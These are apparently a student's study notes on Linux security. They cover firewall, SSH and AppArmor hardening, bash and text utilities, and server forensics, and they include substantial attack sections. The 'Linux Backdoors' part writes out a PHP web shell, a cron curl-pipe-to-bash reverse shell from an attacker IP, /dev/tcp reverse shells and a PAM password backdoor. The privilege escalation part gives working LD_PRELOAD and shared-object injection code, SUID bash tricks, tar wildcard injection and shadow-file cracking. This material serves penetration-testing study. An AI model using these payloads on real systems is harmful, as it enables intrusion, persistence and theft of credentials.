      * INPUT – packets coming into firewall
      * FORWARD – packets routed to another NIC on network
      * OUTPUT – packets leaving firewall
* iptables Configuration
  + https://linux.die.net/man/8/iptables
  + Access Control List
    - Ansible utility can be used to distribute host-based firewall rules to other hosts
    - ACLs are read by system top down
  + Adding Basic Rules
    - sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
      * - A INPUT = append to INPUT Chain
      * -m conntrack = call an iptables module
        + calls conntrack which keeps track of connections
      * - -ctstate ESTABLISHED,RELATED = keeps track of connections which are already ESTABLISHED and RELATED.
        + RELATED means new but part of another already established connection
        + possible due to previous -m portion of command
      * -j ACCEPT = ACCEPT packet and stop process other rules
  + Allowing Traffic Through Specific Ports
    - examples
      * sudo iptables -A INPUT -p tcp --dport ssh -j ACCEPT
      * sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
      * sudo iptables -A INPUT -p udp --dport 4380 -j ACCEPT
        + known ports can use either their service name or port number after - -dport

ssh or 22 for example

* + Blocking Incoming Traffic
    - How to configure iptables to block traffic
      * ex. sudo iptables -A INPUT -p tcp --dport smb -j DROP
        + drops all incoming packets using TCP connection protocol and bound for port that SMB is configured on
    - How to configure an implicit deny rule
      * Implicit Deny Rule
        + sudo iptables -A INPUT -j DROP

any and all protocols coming from anywhere going anywhere on internal network will be DROPPED

* + - Saving configuration
      * sudo iptables-save
        + has to be reconfigured upon each boot up
* Uncomplicated Firewall
  + user-friendly way to create an IPv4 or v6 based firewall
  + sudo ufw status
    - sudo ufw enable
    - sudo ufw disable
  + Allowing and Denying Ports
    - syntax. sudo ufw <allow/deny> <port>/<optional: protocol>
      * ex. allowing TCP connections on port 9000 🡪 sudo ufw allow 9000/tcp
  + Allowing and Denying Services
    - sudo ufw <allow/deny> <service name>
  + Advanced Syntax
    - <https://help.ubuntu.com/community/UFW>
* GNU Privacy Guard
  + PGP based
    - decrypt/encrypt email using asymmetrical/symmetrical systems
    - use of nonce
  + Using GPG
    - gpg - -gen-key
    - verify with gpg - -list-keys
* Encrypting Your Files
  + Symmetric
    - gpg -c <file>
    - gpg -d <file.gpg>
    - ex. gpg --cipher-algo AES-128 --symmetric <filename>
      * encrypting a file using AES-128 scheme
    - decrypt
      * gpg <filename>.gpg
  + Asymmetric
    - .gnupg folder
      * gpg - -export -a -o <filename>
        + export user public as ASCII output
      * gpg -e <filename>
* SSH Protocol 1
  + /etc/ssh/sshd\_config
    - disable Protocol 1
      * compromised
    - Protocol 2 is more secure
* Creating an SSH Key Set
  + logging into SSH is more secure with keys
    - ssh-keygen
      * generates public/private key pairs
    - share public key with remote SSH server
  + Copying Using ssh-copy-id
    - ssh-copy-id
      * ssh-copy-d username@remote-host
  + Copying Manually
    - root, after key generation
      * mkdir -p ~/.ssh
      * create or modify an authorized\_keys file to place public key
        + cat /home/user/.ssh/id\_rsa.pub >> ~/.ssh/authorized\_keys

copies output of public key into authorized\_keys file

* + - * run (as root) chmod -R go= ~/.ssh
        + recursively removes group and other permissions on the ~/.ssh directory
  + Creating Keys with Updated Encryption Algorithms
    - NIST – use RSA of minimum 3072 bits or Elliptic Curve Digital Algorithm key of at least 384 bits
  + RSA
    - ssh-keygen -t rsa -b 3072
  + ECDSA
    - ssh-keygen -t ecdsa -b 384
* Disabling Username and Password SSH Login
  + verify key exchange login works
  + then nav to /etc/ssh/sshd\_config
    - edit PasswordAuthentication yes to no
      * completely removes password logins
* X11 Forwarding and SSH Tunneling
  + X11 Forwarding
    - allows forwarding of GUI application displays to local environment
    - flawed and potentially dangerous to use
  + Turn Off X11 Forwarding
    - sshd\_config
      * X11 Forwarding yes to no
  + SSH Tunneling
    - sshd\_config
      * AllowTcpForwarding
      * GatewayPorts
      * PermitTunnel
    - prevent SSH Tunneling by setting all to no
* Improving SSH Logging
  + Configuring Improved SSH Logging
    - /var/log/auth.log
      * QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG1, DEBUG2, DEBUG3
      * INFO is default setting
    - navigate to /etc/ssh/sshd\_config
      * #LogLevel INFO
        + uncomment and change to desired level
* Mandatory Access Control
  + - SELinux and AppArmor
* Introduction to AppArmor
  + - used to implement MAC
  + AppArmor Configuration
    - /etc/apparmor.d
      * sbin.dhclient and usr.\* files are AppArmor profiles
      * abstractions directory has partially written profiles to be used and included in own profiles
    - each rule/line ends in a comma
    - sudo apt install apparmor-profiles apparmor-profiles-extra
* AppArmor Command Line Utilities
  + - aa-status = gives AppArmor status
    - Enforce – enforces active profiles
    - Complain – allows processes to perform disallowed actions by the profile and are logged
    - Audit – same as enforce but allowed and disallowed actions get logged to /var/log/audit/audit.log or system log
  + sudo apt install apparmor-utils
    - aa-enforce
    - aa-disable
    - aa-audit
    - aa-complain
* Conclusion
  + <https://www.tecmint.com/configure-pam-in-centos-ubuntu-linux/>
  + <https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-wstation-privileges-noroot>
  + https://help.ubuntu.com/community/IptablesHowTo#Saving\_iptables
  + https://help.ubuntu.com/community/UFW
  + https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html
  + http://manpages.ubuntu.com/manpages/bionic/man7/PAM.7.html
  + https://www.digitalocean.com/community/tutorials/how-to-use-pam-to-configure-authentication-on-an-ubuntu-12-04-vps
  + https://linux.die.net/man/8/pam\_pwhistory
  + <https://www.amazon.com/Mastering-Linux-Security-Hardening-intruders/dp/1788620305>

Bash Scripting

* Introduction
  + scripting language that runs within the terminal of most Linux distros
  + Shell scripts are a sequence of bash commands within a file
    - combined together to achieve complex tasks
  + https://devhints.io/bash
* Simple Bash Scripts
  + bash script always starts with the following line of code
    - #!/bin/bash
      * lets shell know that bash is needed to run
  + echo command outputs text to screen
    - other normal linux commands can be run inside bash script
      * ex. ls
      * ex. whoami
      * ex. id
  + to run bash script
    - chmod +x <file.sh>
    - run using ./<script.sh>
* Variables
  + variable=”value”
    - value assigned to variable name
  + Cannot leave space between variable=value
  + To use variable
    - $variable
  + Debugging
    - bash -x ./file.sh
      * will tell which lines work and which do not
    - to debug certain sections
      * set -x to denote beginning
      * set +x to denote end
      * + next to a command denotes success, - denotes failure
* Parameters
  + often have $ prefix as parameters are variables
  + declare a parameter that is going to be an argument
    - ex. name=$1
    - echo $name
    - execute script
      * ./example.sh Alex
        + output 🡪 Alex
    - ex. name=$2
    - echo $name
    - execute script
      * ./example.sh Alex Tony
        + output 🡪 Tony
  + Can use $# to determine number of arguments supplied to a script
    - $0 gives filename
  + Use “read” to create interactive script
    - * ex. echo enter your name
      * read name
      * echo “Your name is $name”
    - code hangs, giving opportunity for name input before continuing
* Arrays
  + commonly annotated as
    - var[index\_position]
    - bash ex. transport=(‘car’ ‘train’ ‘bike’ ‘bus’)
    - echo all elements in array
      * echo “${transport[@]}”
        + replace @ with a number for a specific item
  + To remove an element
    - use unset utility
      * ex. unset transport[1]
  + To add new element
    - transport[1]=”trainride”
* Conditionals
  + Determined with relational operators
    - greater than, less than, equal to
  + If statements
    - syntax
      * if []
      * then
        + something
      * else
        + something different
      * fi
  + space left on both sides of text with [] and end if statements with fi
* Conclusion
  + <https://www.codewars.com/>
  + <https://www.hackerrank.com/>

Regular Expressions

* Introduction
  + Regular Expressions are patterns that can be defined to search documents and match exact searchs
* Charsets
  + when searching for a specific string in a file or block of text, can use grep ‘string’ <file>
    - doesn’t help for patterns of text
  + Use charsets
    - defined by closing characters in square brackets
    - find every occurrence of what is noted within the [ ]
      * ex. [abc] finds every occurrence of a, b, and c
      * ex. [abc]zz finds every occurrence of azz, bzz, and czz
    - can use dash to define ranges
      * [a-c]zz
      * [z-cx-z]zz – azz, bzz, czz, xzz, yzz, zzz
      * [a-zA-Z]
      * file[1-3] – file1, file2, file3
    - use hat ^ symbol to exclude characters
      * [^k]ing – everything but king, for example
      * [^a-c]at
  + matches occurrences, not literal strings
* Wildcards and Optional Characters
  + match any single character (except line break) using .
    - ex. a.c will find aac, abc, a0c, a!c, etc.
  + set character as optional using ?
    - ex. abc? will match ab and abc
  + if you want to search for . literally, escape it with \
    - ex. a\.c will match only a.c
* Metacharacters and Repetitions
  + Metacharacters
    - \d – matches digits
    - \D – matches non digits
    - \w – matches alphanumeric character
    - \W – non-alphanumeric character
    - \s – matches a whitespace character
    - \S – matches everything else
  + Repetitions
    - {}
      * ex. {12} – exactly 12 times
      * {1, 5} – 1 to 5 times
      * {2,} – 2+ times
      * \* - 0 or more
      * + - 1 or more
* Starts with, Ends with, Groups, and Either/Or
  + ^ - starts with
    - line that starts with abc - ^abc
  + $ - ends with
    - line that ends with xyz – xyz$
  + Define groups by enclosing a pattern in ( )
    - define an either-or pattern
      * or in regex is |
    - either/or pattern
      * during the (day|night)
        + during the day
        + during the night
* Conclusion
  + <https://regexr.com/>
  + premade expressions are available for use and deployment

Linux Modules

* DU command
  + disk usage
  + ID files/directories are consuming how much space
    - du – only folders, size in KB
  + Flags
    - -a – list files and folders
    - -h – list file sizes in human readable format (B,MB,KB,GB)
    - -c – prints total size at end
    - -d <number> - specify depth of results from within directories
    - - -time – time stamp of last modified
  + use with | grep to find strings
    - ex. du -a /home/ | grep user – list any file/directory whose name is containing the string “user”
* 0xef
  + regular expressions that come handy when using grep
    - syntax – grep “pattern” file.txt
  + Family Tree
    - egrep
      * matches regular expressions in a string
    - fgrep
      * searches for fixed strings inside text
    - grep can do both functions with -E and -F flags
  + Flags
    - -R – recursive grep search for files inside folders
    - -h – disables prefixing of filenames in results
    - -c – lists integer value of how many times the pattern was found in a file/folder
    - -i – grep searches for pattern while ignoring case
    - -l – list filename instead of pattern found in it
    - -n – list the lines with their line number in the file containing the pattern
    - -v – prints all the lines that are not containing the pattern
    - -E – considers the pattern as a regular expression to find the matching strings
    - -e – specify multiple patterns and any matching string is listed
* STROPS
  + String Manipulations (STRing OPerationS)
    - tr, awk, sed, xargs, sort, uniq
* Translate Command (tr)
  + syntax. - tr [flags] [source]/[find]/[select] [destination]/[replace]/[change]
  + Flags
    - -d – delete a given set of characters
    - -t – concat source set with destination set
    - -s – replace source set with destination set
    - -c – reverse card
  + Examples
    - convert all alphabetic characters to upper case
      * cat file.txt | tr -s '[:lower:]' '[:upper:]'
    - view creds of a user which are in digits
      * cat creds.txt | tr -d ‘[a-zA-Z: ]’
    - <https://www.geeksforgeeks.org/tr-command-in-unix-linux-with-examples/>
    - <https://linuxize.com/post/linux-tr-command/>
* AWK Command
  + scripting language used for manipulating data and generating reports
  + syntax. - awk [flags] [select pattern/find(sort)/commands] [input file]
    - if commands are in a script, can execute script commands by using -f flag and specifying the name of the script file
      * awk -f script.awk input.txt
  + Using AWK
    - to print a file with AWK
      * awk ‘{print}’ file.txt
    - to search for a pattern inside a file, enclose pattern inside / /
      * ex. awk ‘/ctf/’ file.txt
  + Built-in variables in AWK
    - field variables are used to specify a piece of data
      * ex. awk ‘{print $1,$3}’ file.txt
        + list words that are at 1st and 3rd fields
        + commas used to delineate space
        + 0$ denots whole line
        + single quotes, not doubles
  + More Variables
    - NR – number record – keeps count of rows after each line’s execution
      * use to number lines
      * ex. awk ‘{print NR,$0}’ file.txt
    - FS – field separator
      * define the field for input stream
      * awk "BEGIN {FS='o'} {print $1,$3} END{print 'Total Rows=',NR}"
    - OFS – output field separator
      * specify a delimeter while outputting
    - ORS – output record separator
    - <https://www.tutorialspoint.com/awk/awk_workflow.htm>
    - <http://osr5doc.xinuos.com/en/OSUserG/_The_printf_statement.html>
    - <https://www.geeksforgeeks.org/awk-command-unixlinux-examples/>
  + Important Flags
    - -F – specify FIELD SEPARATOR
    - -v – specify variables
    - -D – debug awk scripts
    - -o – specify the output file
  + Examples
    - command
      * awk 'BEGIN{FS=""; OFS=":"} {print$1,$4}' awk.txt
    - output
      * ippsec:34024
      * john:50024
      * thecybermentor:25923
      * liveoverflow:45345
      * nahamsec:12365
      * stok:1234
    - Commands
      * awk 'BEGIN{ORS=","}{print $1}' awk.txt
    - Output
      * ippsec, john, thecybermentor, liveoverflow, nahamsec, stok,
* SED command
  + Stream Editor
    - string operations such as FIND AND REPLACE, searching, insertion, deletion
    - pipe input or redirecting input from a file
  + syntax. sed [flags] [pattern/script] [input file]
    - import flags
      * -e – add a script/command to needs to be executed with the pattern/script
      * -f – specify the file containing the string pattern
      * -E – use extended regular expressions
      * -n – suppress the automatic printing or pattern spacing
  + The sed command
    - ‘[condition (optional)] [mode (optional)]/[source to be searched/pattern]/[to-be-replaced-pattern (optional)]/[args/flags to operate on the pattern searched (optional)]’
      * args
        + s – substitute mode (find and replace)
        + y – same as substitute but with individual bytes
      * mode
        + /g – globally
        + /i – make search case sensitive
        + /d – delete pattern found
        + /p – prints matching pattern
        + /1,/2,/n – perform operation to nth occurrence
  + Explanation
    - sed 's/\(^\b[[:alpha:] ]\*\)\([[:digit:]]\*\)/\=\> \1\[\2\]/g' file.txt
      * Starting with the regex part. Opening a group with escape character, ^ to put the cursor at the starting of the line, and then \b represents to search for beginning of a word, and then defines a set of characters to include, following a "\*" to specify 'n' number of characters. Then closes the group by escaping the closing brackets. Creating another regex group, using escape sequence, we then initialized another set and specified \* at the end of the set to take n characters of that set, at last group is closed using escape sequence.
      * At the replaced end, we are using escape sequences to make a bullet(it's just a good practice to use escape sequence with every symbolic character; even if the output is same), then we have escape characters for the square brackets enclosing a sed variable /2 (after /1 which is coming up).
      * Now its turn for the sed's keyword part. We used [:alpha:] in the set defined by regex, which is nothing but another representation of using a-zA-Z in regex, which means to capture any alphabetic characters. sed offers such keywords(calling them "bracket expressions"), which we can use to make the input code look cleaner. Similarly we used the bracket expression for specifying digit as well which we specified using [:digit:].
      * Then there are some in-built variables as we saw in awp awk, that we used in the to-be-replace part of sed. \1 depicted the first group which selected everything until the first character occurred. The second group comprised of a set consisting decimal characters, which were enclosed with [\2] with the use of escseq.
  + Resources
    - <https://www.geeksforgeeks.org/sed-command-in-linux-unix-with-examples/>
    - <https://www.gnu.org/software/sed/manual/sed.html>
    - <https://www.tecmint.com/linux-sed-command-tips-tricks/>
  + Examples
    - substitute every third occurrence of a word inside a file, to another word? (using ‘hack’to ‘back’ and ‘file.txt’
      * sed ‘s/hack/back/3g’file.txt
    - same as above but only on a specific set of lines (say 3rd and 4th)
      * sed ‘3,4 s/hack/back/3g’ file.txt
    - download a given file and format trailing spaces with a colon (using sed1.txt as an example)
      * sed ‘s/ \*/:/g’ sed1.txt
    - view a file and put all alphabetical values together
      * ‘s/[[:digit:]]//g’
      * cat sed2.txt | tr '[:digit:]' ' ' | sed 's/ \*//g'
* XARGS
  + to make passed string a command argument, a positional argument
    - build and execute commands from standard input
  + Important Flags
    - -0 – terminate arguments with null character
    - -a <file> - allows xargs to read item from a file
    - -d <delimeter> - specify delimeter to be used when differentiating arguments in stdin
    - -L <int> - specifies max number non-blank inputs per command line
    - -s <int> - buffer size to allocate, sets max-chars for the command – default 128kB
    - -x – exit command execution if size specified is exceeded
    - -E <str> - specify end-of-file string
    - -I <str> - used to replace str occurrence in arguments with one passed via stdin
    - -p – prompt the user before running any command
    - -r – if input is blank, no commands run
    - -n <int> - specifies limit of max-args to be taken from command input at once, after limit, additional commands will be passed to new command line with same flags
    - -t – verbose
    - - - -- escape command line flags to positional arguments
  + Examples
    - run multiple command with xargs in one line
      * echo “file1 file2 file3” | xargs -t -I argVar sh -c ‘{ touch argVar; ls -l argVar; }’
    - grep text from any file in any directory meeting a specific pattern
      * head xargs/<pattern>; wc xargs/<pattern>
    - <https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/>
    - take files, in verbose format, set to read-only to a specific profile, ASCII order flags,
      * cat file | xargs -I files -t sh -c “touch files; chmod 400 files”
    - create a wordlist with all the file names, save names to a file, delete additional files appending the name, using ASCII order of flags
      * ls | xargs -I word -n 1 -t sh -c ‘echo word >> shortrockyou; rm word’
* uniq and sort commands
  + uniq command
    - filters the output from a file or stdin to remove duplicates
    - only identifies if duplicates are next to each other
    - use sort first
  + sort command
    - sorts lines alphabetically and numerically
    - pipe command
    - ex. cat <file>.txt | sort
  + Important Flags for uniq
    - -c – count occurrences of every line in file/stdin
    - -d – print lines that are repeated
    - -u – print lines that are unique
    - -i – ignores case
  + Important Flags for sort
    - -r – sort in reverse order
    - -c – check whether file is already sorted or not
    - -u – sort and remove duplicate lines
    - -o <output file> - save output to a file
  + Power Coupling
    - sort <file> | uniq
* cURL or cRAWL
  + cURL – crawl URL
    - * outputs data of URL webpage into raw format
      * syntax. curl https://<url>.com/
    - Important Flags
      * -# - display progress meter
      * -o – save file downloaded with name given following flag
      * -O – save file with the name saved on server
      * -C – can resume broken download with specifying offset
      * - -limit-rate – limits download/upload rate
      * -u – provides user authentication (user:password)
      * -T – helps in uploading file to a server
      * -x – specify proxy server
      * -I – queries header and not webpage
      * -A – specify user agent to make request
      * -L – tells curl to follow redirects
      * -b – specify cookies while making curl requests (“NAME1=VALUE1;NAME2=VALUE2”)
      * -d – used to POST data to the server
      * -X – specify HTTP method on the URL
    - Resources
      * <https://www.geeksforgeeks.org/curl-command-in-linux-with-examples/>
      * <https://curl.se/docs/manpage.html>
      * <https://www.tecmint.com/linux-curl-command-examples/>
* WebGoat/webGet
  + - syntax – wget protocol://url.com/
  + Important Flags
    - -b – background the process
    - -c – continue partially downloaded file
    - -t <int> - specify URL retries
    - -O <output file> - save to output file
    - -o <file> - overwrite logs into another file
    - -a <file> - append logs into already existing file without deleting previous contents
    - -i – read the list of URLs from files
    - - -user=username – give a login username (use - -ftp-user and - -http-user if it doesn’t work)
    - - -password=password – give login password (use - -ftp-password and - -http-password)
    - - -ask-password – ask for password prompt if a login is necessary
    - - -limit-rate=10k – similar to curl
    - -w=<int> - specify waiting time before retrieving URL
    - -T=<int> - timeout retrieval after a specified period
    - -N – enable timestamping
    - -U – specify user agent while downloading file
* XXD command
  + - assists in handling hexdumps, hex strings, and hex digits
  + Important Flags
    - -b – binary representation instead of hexdump
    - -E – change character encoding in right column from ASCII to EBCDIC
    - -c <int> - set number of bytes to be represented in one row
    - -g – set bytes/octets should be in a group separated by a whitespace
    - -i – output hexdump in C
    - -l – specify length of output
    - -p – converts string passed into plain hexdump style
    - -r – revert hexdump into binary – interpreted as plaintext
    - -u – use uppercase hex letters
    - -s – seek at offset
  + Examples
    - how to seek at 10th byte in hex in a file and display only 50 bytes
      * xxd -s 0xa -l 50 -b file.txt
    - how to display n bytes of hexdump in three columns with a group of 3 octets per row from a file
      * xxd -c 9 -g 3 file.txt
    - use -r and -p together to read plain hexdecimal dumps
* Various Commands
  + gpg
    - <https://www.tutorialspoint.com/unix_commands/gpg.htm>
    - <http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/>
  + tar
    - <https://neverendingsecurity.wordpress.com/2015/04/13/linux-tar-commands-cheatsheet/>
    - <https://www.geeksforgeeks.org/tar-command-linux-examples/>
  + id/pwd/uname
  + ps/kill
  + netstat
    - alternative command – socket statistics (ss)
    - <https://www.rekha.com/netstat-cheat-sheet-for-newbies.html>
    - <https://linux.die.net/man/8/netstat>
    - <https://neverendingsecurity.wordpress.com/2015/04/13/ss-socket-statistics-commands-cheatsheet/>
  + less/more
    - <https://ostechnix.com/the-difference-between-more-less-and-most-commands/>
    - <https://www.tecmint.com/linux-more-command-and-less-command-examples/#:~:text=Learn%20Linux%20%27less%27%20Command,using%20page%20up%2Fdown%20keys>.
  + diff
    - <https://www.networkworld.com/article/3279724/comparing-files-and-directories-with-diff-and-comm.html#:~:text=The%20diff%20command%20would%20make,both%20commands%20is%20the%20same.&text=The%20comm%20command%20can%20provide,it%20can%20compare%20two%20files>.
    - <https://www.geeksforgeeks.org/diff-command-linux-examples/>
    - <https://www.geeksforgeeks.org/comm-command-in-linux-with-examples/>
  + base64
  + tee
  + file/stat
  + export
    - <https://www.geeksforgeeks.org/export-command-in-linux-with-examples/>
  + reset
  + systemctl/service
    - <https://stackoverflow.com/questions/43537851/difference-between-systemctl-and-service-command#:~:text=service%20operates%20on%20the%20files,file%20in%20%2Fetc%2Finit>.
    - <https://gist.github.com/adriacidre/307d2f9f5179fc748f22edac5af3d218>

Linux Backdoors

* SSH Backdoors
  + Consists of leaving ssh keys in some users home directory (ideally root)
  + Generate ssh keyset with ssh-keygen
    - ssh-keygen command will generate one public and one private key
      * go to /root/.ssh (or create .ssh directory with mkdir) and leave public key there after renaming it authorized\_keys
      * give private key permissions with chmod 600 id\_rsa
        + login using ssh -I id\_rsa root@<ip>
* PHP Backdoors
  + Search for web root in /var/www/html
    - * whatever is left here will be available for everybody to use in their browser
    - try creating a php file that takes a cmd parameter and executes anything within that parameter from GET or POST data
      * ex.
* <?php  
   if (isset($\_REQUEST['cmd'])) {  
   echo "<pre>" . shell\_exec($\_REQUEST['cmd']) . "</pre>";  
   }  
  ?>
  + - if left in /var/www/html/shell.php, access directly using <http://ip/shell.php> or <http://ip/directory/shell.php>
    - to hide
      * try adding in existing php files in /var/www/html
      * change cmd parameter to another name that is not common
* CronJob Backdoors
  + within /etc/cronjob directory
    - view tasks scheduled to run
    - using root, add a scheduled task where a reverse is sent to you every minute
      * ex. \*\* \*\*\* root curl http://<attacker ip>:<port>/shell | bash
        + run every minute every hour of every day
        + curl downloads a file and pipes to bash
      * contents of shell file
        + #!/bin/bash
        + bash -i >& /dev/tcp/ip/port 0>&1
      * run http server to serve shell
        + python3 -m http.server <port>
      * listen on specified port
        + nc -lvnp <port>
  + not hidden
* .bashrc Backdoors
  + if a user has bash as their login shell, .bashrc file in home directory is executed when an interactive session is launched
    - echo ‘bash -i >& /dev/tcp/ip/port 0>&1’ >> ~/.bashrc
      * always have nc listener ready
* pam\_unix.so Backdoors
  + file responsible in linux for authentication
    - adding code “if (strcmp(p, “0xMitsurugi”) != 0)”
      * compares two strings, variable p stores password
      * if user supplied password and 0xMitsurugi are not the same, function unix\_verify\_password is used
        + if same, PAM\_SUCCESS
      * essentially, backdoor adds own password to pam\_unix.so (0xMitsurugi)
    - this code is added to create an if loop that checks for the attacker supplied password before moving to the normal password verification measure
    - <http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html>
    - <https://github.com/zephrax/linux-pam-backdoor>
* Resources
  + <https://airman604.medium.com/9-ways-to-backdoor-a-linux-box-f5f83bae5a3c>

Linux PrivEsc – Cyber Mentor

* Kernel Exploits
  + /home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
  + gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
    - ./c0w afterward
* Privilege Escalation – Stored Passwords (Config Files)
  + /home/user/myvpn.ovpn – auth-user-pass directive
  + /etc/openvpn/auth.txt – clear text credentials
  + cat /home/user/.irssi/config | grep -i passw
* Privilege Escalation – Stored Passwords (History)
  + cat ~/.bash\_history | grep -i passw
    - cleartext credentials
* Privilege Escalation – Weak File Permissions
  + - ls -la /etc/shadow
    - cat /etc/passwd
    - cat /etc/shadow
  + save outputs and bring to attacker machine
  + in Attacker
    - unshadow <password file> <shadow file> > unshadowed.txt
    - hashcat -m 1800 unshadowed.txt /usr/share/wordlists/rockyou.txt -O
* Privilege Escalation – SSH Keys
  + find / -name authorized\_keys 2>/dev/null
  + find / -name id\_rsa 2>/dev/null
  + copy contents over
    - chmod 400 <file name>
    - ssh -I <file> root@<ip>
* Privilege Escalation – Sudo (Shell Escaping)
  + Detection
    - sudo -l
  + Exploitation – options – discovered after using the above
    - sudo find /bin -name nano -exec /bin/sh \;
    - sudo awk ‘BEGIN{system(“/bin/sh”)}’
    - echo “os.execute(‘/bin/sh’)” > shell.nse && sudo nmap - -script=shell.nse
    - sudo vim -c ‘!sh”
* Privilege Escalation – Sudo (Abusing Intended Functionality)
  + Detection
    - sudo -l
  + Exploitation
    - sudo apache2 -f /etc/shadow
      * copy hash output
    - In Attacker
      * echo ‘<hash>’ > hash.txt
      * john - -wordlist=/usr/share/wordlists/nmap.lst hash.txt
* Privilege Escalation – Sudo (LD\_PRELOAD)
  + Detection
    - sudo -l
      * notice LD\_PRELOAD is intact
  + Exploitation
    - in text editor
      * **#include <stdio.h>**
      * **#include <sys/types.h>**
      * **#include <stdlib.h>**
      * **void \_init() {**
      * **unsetenv("LD\_PRELOAD");**
      * **setgid(0);**
      * **setuid(0);**
      * **system("/bin/bash");**
      * **}**
    - save as x.c
    - gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
    - sudo LD\_PRELOAD=/tmp/x.so apache2
    - id
* Privilege Escalation – SUID (Shared Object Injection)
  + Detection
    - find / -type f -perm -04000 -ls 2>/dev/null
      * take note of all SUID binaries
    - strace /usr/local/bin/suid-so 2>&1 | grep -i -E “open|access|no such file”
  + Exploitation
    - on Victim
      * mkdir /home/user/.config
      * cd /home/user/.config
      * open text editor
        + **#include <stdio.h>**
        + **#include <stdlib.h>**
        + **static void inject() \_\_attribute\_\_((constructor));**
        + **void inject() {**
        + **system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");**
        + **}**
      * save as libcalc.c
        + gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
      * /usr/local/bin/suid-so
      * id
* Privilege Escalation – SUID (Symlinks)
  + Detection
    - dpkg -l | grep nginx
      * notice version below 1.6.2-5
  + Exploitation
    - Victim Terminal 1
      * su root, enter password
      * su -l www-data
      * /home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log
    - Victim Terminal 2
      * su root, enter password
      * invoke-rc.d nginx rotate >/dev/null 2>&1
    - Victim Terminal 1
      * id
* Privilege Escalation – SUID (Environment Variables #1)
  + Detection
    - find / -type f -perm -04000 -ls 2>/dev/null
      * make note of SUID binaries
    - strings /usr/local/bin/suid-env
  + Exploitation
    - echo ‘int main() {setgid(0); setuid(0); system(“/bin/bash”); return 0;}’ > /tmp/service.c
    - gcc /tmp/service.c -o /tmp/service
    - export PATH=/tmp:$PATH
    - /usr/local/bin/suid-env
    - id
* Privilege Escalation – SUID (Environment Variables #2)
  + Detection
    - find / -type f -perm -04000 -ls 2>/dev/null
      * note all SUIDs
    - strings /usr/local/bin/suid-env2
      * notice functions used by binary
  + Exploitation Method One
    - function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
    - export -f /usr/sbin/service
    - /usr/local/bin/suid-env2
  + Exploitation Method Two
    - env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'
* Privilege Escalation – Capabilities
  + Detection
    - getcap -r / 2>/dev/null
      * notice cap\_setuid capability value
  + Exploitation
    - /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
* Privilege Escalation – Cron (Path)
  + Detection
    - cat /etc/crontab
  + Exploitation
    - echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
    - chmod +x /home/user/overwrite.sh
    - wait one minute
    - /tmp/bash -p
    - id
* Privilege Escalation – Cron (Wildcards)
  + Detection
    - cat /etc/crontabs
      * notice compress.sh script
    - cat /usr/local/bin/compress.sh
      * notice wildcard used by tar
  + Exploitation
    - echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh
    - touch /home/user/- -checkpoint=1
    - touch /home/user/- -checkpoint-action=exec=sh\ runme.sh
    - wait one minute
    - /tmp/bash -p
    - id
* Privilege Escalation – Cron (File Overwrite)
  + Detection
    - cat /etc/crontab
      * notice overwrite.sh
    - ls -l /usr/local/bin/overwrite.sh
      * notice file permissions
  + Exploitation
    - echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
    - wait one minute
    - /tmp/bash -p
    - id
* Privilege Escalation – NFS Root Squashing
  + Detection
    - cat /etc/exports
      * notice “no\_root\_squash” in /tmp export
  + Exploitation
    - Attacker
      * showmount -e <ip>
      * mkdir /tmp/1
      * mount -o rw,vers=2 <ip>:/tmp /tmp/1
      * echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
      * gcc /tmp/1/x.c -o /tmp/1/x
      * chmod +s /tmp/1/x
    - Victim
      * /tmp/x
      * id

Linux Server Forensics

* Apache Log Analysis 1
  + most significant attack surface on the server is the web service
    - apache access log keeps history of all requests sent to webserver and includes
      * source address
      * response code and length
      * user-agent
    - every request should contain a user-agent string that can be used for rough identification
      * can use string to ID traffic from potentially malicious tools such as nmap, sqlmap, dirbuster, nikto, etc.
    - /var/log/apache2
      * access.log
        + grep
* Apache Log Analysis II
  + When attackers avoid the use of obvious user agents
    - time between each request is a useful metric
    - signatures left in requests
      * nmap HTTP requests use a random non-standard method when performing enumeration
    - aggressive tools send large numbers of requests
      * directory-brute forcers
        + often caught by fail2ban
* Web Server Analysis
  + pages that allow uploads
    - grep access.log for POST requests for file uploads
* Persistence Mechanism I
  + RFI
    - cron – very common
    - services/system
    - bashrc
    - Kernel modules
    - SSH keys
  + crontab
    - additional root accounts (root2)
* Persistence Mechanisms II
  + SSH-keys
    - /.ssh/authorized\_keys file
* Persistence Mechanisms III
  + maintain persistence using systemd scripts run under systemd can be run in background and restart whenever system is booted or whenever the script crashes
    - easy to conceal malicious scripts
      * systemd services are defined in .service files which can contain
        + command that runs whenever the service starts
        + the user the service runs as
        + an optional description
  + running systemctl will list all of the services loaded into the system
    - - -type=service - -state=active
      * helps filter
  + once a suspicious services is found
    - systemctl status <service name>
* User Accounts
  + root2?
    - check /etc/passwd
    - /etc/shadow
* Program Execution History
  + .bash\_history – history of commands run in bash; well known, easy to edit and sometimes default disabled
  + auth.log – history of all commands run using sudo
  + history.log(apt) – useful for tracking program removal and installation
